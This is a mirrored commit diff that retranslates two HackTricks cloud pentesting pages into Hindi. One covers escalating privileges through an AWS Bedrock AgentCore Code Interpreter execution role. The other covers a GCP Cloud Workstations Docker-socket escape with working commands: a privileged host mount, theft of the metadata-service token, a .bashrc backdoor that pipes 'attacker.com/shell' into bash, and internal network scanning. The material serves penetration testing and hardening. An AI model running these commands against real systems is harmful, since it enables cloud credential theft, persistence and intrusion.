mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat
This commit is contained in:
Translator
+25
-24
@@ -6,31 +6,32 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter एक managed execution environment है। **Custom Code Interpreters** को **`executionRoleArn`** के साथ कॉन्फ़िगर किया जा सकता है जो "code interpreter को AWS services तक पहुँचने की permissions प्रदान करता है"।
|
||||
AgentCore Code Interpreter एक managed execution environment है। **Custom Code Interpreters** को एक **`executionRoleArn`** के साथ configure किया जा सकता है जो "कोड इंटरप्रेटर को AWS सेवाओं तक पहुँच के लिए permissions प्रदान करता है"।
|
||||
|
||||
यदि कोई **lower-privileged IAM principal** किसी ऐसे Code Interpreter session को **start + invoke** कर सके जो कि एक **more privileged execution role** के साथ कॉन्फ़िगर हो, तो caller प्रभावी रूप से उस execution role की permissions में **pivot** कर सकता है (role scope के अनुसार lateral movement / privilege escalation)।
|
||||
यदि कोई **lower-privileged IAM principal** किसी ऐसे Code Interpreter session को **start + invoke** कर सके जो कि किसी **more privileged execution role** के साथ configured है, तो caller प्रभावी रूप से **execution role’s permissions में pivot** कर सकता है (lateral movement / privilege escalation, role scope पर निर्भर करता है)।
|
||||
|
||||
> [!NOTE]
|
||||
> यह आमतौर पर एक **misconfiguration / excessive permissions** समस्या होती है (interpreter execution role को व्यापक permissions देना और/या invoke access को व्यापक रूप से देना)। AWS स्पष्ट रूप से चेतावनी देता है कि privilege escalation से बचने के लिए execution roles के पास उन identities की तुलना में **equal or fewer** privileges होने चाहिए जिन्हें invoke करने की अनुमति है।
|
||||
> यह आमतौर पर एक **misconfiguration / excessive permissions** समस्या होती है (interpreter execution role को व्यापक permissions देने या invoke access को व्यापक रूप से देने के कारण)।
|
||||
> AWS स्पष्ट रूप से चेतावनी देता है कि privilege escalation से बचने के लिए execution roles के पास उन identities की तुलना में **equal or fewer** privileges होने चाहिए जिन्हें invoke करने की अनुमति है।
|
||||
|
||||
#### Preconditions (सामान्य misconfiguration)
|
||||
#### Preconditions (common misconfiguration)
|
||||
|
||||
- एक **custom code interpreter** मौजूद है जिसके पास एक over-privileged **execution role** है (उदा.: संवेदनशील S3/Secrets/SSM या IAM-admin जैसी क्षमताओं तक पहुँच)।
|
||||
- एक **custom code interpreter** मौजूद है जिसको एक over-privileged **execution role** दिया गया है (उदा: sensitive S3/Secrets/SSM या IAM-admin-like क्षमताओं तक access)।
|
||||
- एक user (developer/auditor/CI identity) के पास permissions हैं:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) user नए interpreters भी बना सकता है: `bedrock-agentcore:CreateCodeInterpreter` (यह उन्हें org guardrails पर निर्भर करते हुए एक नया interpreter configure करने देता है जिसमें execution role सेट किया जा सकता है)।
|
||||
- sessions शुरू करने के लिए: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- tools invoke करने के लिए: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Optional) वह user interpreters भी बना सकता है: `bedrock-agentcore:CreateCodeInterpreter` (जिससे वे org guardrails पर निर्भर करते हुए एक नया interpreter बना सकते हैं जिसे execution role के साथ configured किया गया हो)।
|
||||
|
||||
#### Recon (custom interpreters और execution role उपयोग की पहचान)
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
Interpreters की सूची (control-plane) और उनकी configuration की जाँच करें:
|
||||
List interpreters (control-plane) and inspect their configuration:
|
||||
```bash
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> create-code-interpreter कमांड `--execution-role-arn` का समर्थन करता है जो परिभाषित करता है कि interpreter के पास कौन से AWS permissions होंगे।
|
||||
> create-code-interpreter कमांड `--execution-role-arn` को सपोर्ट करता है, जो परिभाषित करता है कि interpreter के पास कौन से AWS permissions होंगे।
|
||||
|
||||
#### चरण 1 - एक session शुरू करें (यह `sessionId` लौटाता है, interactive shell नहीं)
|
||||
#### Step 1 - एक सत्र शुरू करें (यह `sessionId` लौटाता है, interactive shell नहीं)
|
||||
```bash
|
||||
SESSION_ID=$(
|
||||
aws bedrock-agentcore start-code-interpreter-session \
|
||||
@@ -42,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### चरण 2 - कोड निष्पादन ट्रिगर करें (Boto3 or signed HTTPS)
|
||||
#### चरण 2 - कोड निष्पादन को Invoke करें (Boto3 या signed HTTPS)
|
||||
|
||||
`start-code-interpreter-session` से कोई **interactive python shell** उपलब्ध नहीं है। निष्पादन **InvokeCodeInterpreter** के माध्यम से होता है।
|
||||
`start-code-interpreter-session` से **कोई इंटरैक्टिव Python shell उपलब्ध नहीं** है। निष्पादन **InvokeCodeInterpreter** के माध्यम से होता है।
|
||||
|
||||
**विकल्प A - Boto3 उदाहरण (execute Python + verify identity):**
|
||||
**विकल्प A - Boto3 उदाहरण (Python चलाएँ + पहचान सत्यापित करें):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -67,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
यदि interpreter को execution role के साथ कॉन्फ़िगर किया गया है, तो `sts:GetCallerIdentity()` आउटपुट उस role की identity दिखाना चाहिए (न कि low-priv caller), जिससे pivot का प्रदर्शन होता है।
|
||||
यदि इंटरप्रेटर को execution role के साथ कॉन्फ़िगर किया गया है, तो `sts:GetCallerIdentity()` आउटपुट उस role की identity को दर्शाना चाहिए (not the low-priv caller), जो pivot को प्रदर्शित करता है।
|
||||
|
||||
**विकल्प B - साइन किए गए HTTPS कॉल (awscurl):**
|
||||
**Option B - साइन किए गए HTTPS कॉल (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -88,16 +89,16 @@ awscurl -X POST \
|
||||
```
|
||||
#### प्रभाव
|
||||
|
||||
* **Lateral movement** उस AWS एक्सेस में जहाँ interpreter execution role की पहुँच है।
|
||||
* **Privilege escalation** यदि interpreter execution role caller की तुलना में अधिक privileged है।
|
||||
* पता लगाना कठिन हो सकता है अगर interpreter invocations के लिए CloudTrail data events सक्षम नहीं हैं (configuration के अनुसार invocations डिफ़ॉल्ट रूप से लॉग नहीं हो सकते)।
|
||||
* **Lateral movement** उस किसी भी AWS एक्सेस में जो interpreter execution role के पास है।
|
||||
* **Privilege escalation** अगर interpreter execution role caller से अधिक privileged हो।
|
||||
* पता लगाना कठिन हो सकता है अगर CloudTrail data events for interpreter invocations सक्षम नहीं हैं (invocations डिफ़ॉल्ट रूप से लॉग नहीं हो सकते, विन्यास पर निर्भर करता है)।
|
||||
|
||||
#### निवारण / कठोरकरण
|
||||
#### निवारण / हार्डनिंग
|
||||
|
||||
* **Least privilege** को interpreter `executionRoleArn` पर लागू करें (इसे Lambda execution roles / CI roles की तरह मानें)।
|
||||
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) और कौन sessions शुरू कर सकता है, इन्हें सीमित करें।
|
||||
* **Least privilege** interpreter `executionRoleArn` पर लागू करें (इसे Lambda execution roles / CI roles की तरह मानें)।
|
||||
* यह प्रतिबंधित करें कि कौन invoke कर सकता है (`bedrock-agentcore:InvokeCodeInterpreter`) और कौन session शुरू कर सकता है।
|
||||
* अनुमोदित agent runtime roles को छोड़कर InvokeCodeInterpreter को deny करने के लिए **SCPs** का उपयोग करें (org-level enforcement आवश्यक हो सकता है)।
|
||||
* जहाँ लागू हो AgentCore के लिए उपयुक्त **CloudTrail data events** सक्षम करें; अनपेक्षित invocations और session creation पर अलर्ट सेट करें।
|
||||
* जहाँ लागू हो, AgentCore के लिए उपयुक्त **CloudTrail data events** सक्षम करें; अनपेक्षित invocations और session creation पर अलर्ट सेट करें।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+14
-14
@@ -3,20 +3,20 @@
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
The primary privilege escalation path in Cloud Workstations stems from the requirement to support **Docker-in-Docker (DinD)** workflows for developers. When the workstation configuration mounts the Docker socket or allows privileged containers (a common configuration), an attacker inside the workstation container can escape to the underlying Compute Engine VM and steal its service account token.
|
||||
Cloud Workstations में प्राथमिक privilege escalation पथ developers के लिए **Docker-in-Docker (DinD)** वर्कफ़्लो को सपोर्ट करने की आवश्यकता से उत्पन्न होता है। जब workstation configuration Docker socket को mount करता है या privileged containers की अनुमति देता है (एक सामान्य कॉन्फ़िगरेशन), तो workstation container के अंदर मौजूद एक attacker underlying Compute Engine VM तक फरार होकर उसके service account token को चुरा सकता है।
|
||||
|
||||
**Prerequisites:**
|
||||
- Access to a Cloud Workstation terminal (via SSH, compromised session, or stolen credentials)
|
||||
- The workstation configuration must mount `/var/run/docker.sock` or enable privileged containers
|
||||
- Cloud Workstation टर्मिनल तक पहुँच (SSH के माध्यम से, compromised session, या चोरी किए गए credentials)
|
||||
- workstation configuration को `/var/run/docker.sock` mount करना चाहिए या privileged containers सक्षम होने चाहिए
|
||||
|
||||
**Architecture context:** The workstation is a container (Layer 3) running on a Docker/Containerd runtime (Layer 2) on a GCE VM (Layer 1). The Docker socket gives direct access to the host's container runtime.
|
||||
**Architecture context:** workstation एक container (Layer 3) है जो Docker/Containerd runtime (Layer 2) पर चल रहा है और वह एक GCE VM (Layer 1) पर होस्ट किया गया है। Docker socket होस्ट के container runtime तक सीधा एक्सेस देता है।
|
||||
|
||||
> [!NOTE]
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automates the full container escape and drops you into a root shell on the host VM.
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) पूर्ण container escape को स्वचालित करता है और आपको host VM पर एक root shell में डाल देता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>कदम 1: Docker socket की जाँच करें</summary>
|
||||
<summary>Step 1: Docker socket की जाँच करें</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
@@ -28,7 +28,7 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<summary>चरण 2: Escape to the host VM filesystem</summary>
|
||||
|
||||
हम एक privileged container लॉन्च करते हैं, होस्ट की root directory को `/mnt/host` पर माउंट करते हुए। हम visibility बढ़ाने के लिए होस्ट का network और PID namespace भी शेयर करते हैं।
|
||||
हम एक privileged container लॉन्च करते हैं, होस्ट की रूट डायरेक्टरी को `/mnt/host` पर माउंट करते हुए। हम होस्ट का नेटवर्क और PID namespace भी शेयर करते हैं ताकि दृश्यता अधिकतम हो सके।
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -44,7 +44,7 @@ chroot /mnt/host /bin/bash
|
||||
|
||||
<details>
|
||||
|
||||
<summary>चरण 3: VM service account token को IMDS से चुराएँ</summary>
|
||||
<summary>चरण 3: Steal the VM service account token from IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Scopes की जाँच करें!**
|
||||
> भले ही जुड़ा हुआ Service Account **Editor** हो, VM को access scopes द्वारा प्रतिबंधित किया जा सकता है।
|
||||
> यदि आप `https://www.googleapis.com/auth/cloud-platform` देखते हैं, तो आपको पूर्ण पहुंच प्राप्त है।
|
||||
> यदि आप केवल `logging.write` और `monitoring.write` देखते हैं, तो आप नीचे दिए गए **Network Pivot** और **Persistence** vectors तक सीमित हैं।
|
||||
> **स्कोप्स की जाँच करें!**
|
||||
> यहाँ तक कि अगर जुड़ा हुआ Service Account **Editor** है, तब भी VM access scopes द्वारा प्रतिबंधित हो सकता है.
|
||||
> यदि आप `https://www.googleapis.com/auth/cloud-platform` देखते हैं, तो आपके पास पूर्ण पहुँच है.
|
||||
> यदि आप केवल `logging.write` और `monitoring.write` देखते हैं, तो आप नीचे दिए गए **Network Pivot** और **Persistence** vectors तक सीमित हैं.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations `/home/user` पर एक persistent disk mount करते हैं। क्योंकि container user (आमतौर पर `user`, UID 1000) host user (UID 1000) से मेल खाता है, आप host के होम डायरेक्टरी में लिख सकते हैं। इससे आप environment को backdoor कर सकते हैं, भले ही workstation container को फिर से बनाया जाए।
|
||||
Cloud Workstations `/home/user` पर एक persistent disk mount करते हैं। क्योंकि container user (आमतौर पर `user`, UID 1000) host user (UID 1000) से मेल खाता है, आप host के home directory में लिख सकते हैं। इससे आप environment को backdoor कर सकते हैं, भले ही workstation container को rebuilt किया जाए।
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
चूँकि आप host network namespace (`--net=host`) साझा करते हैं, आप अब VPC पर एक trusted node हैं। आप IP whitelisting के आधार पर access की अनुमति देने वाली internal services को scan कर सकते हैं।
|
||||
चूंकि आप host network namespace (`--net=host`) साझा करते हैं, आप अब VPC पर एक trusted node हैं। आप उन internal services को scan कर सकते हैं जो IP whitelisting के आधार पर access की अनुमति देती हैं।
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user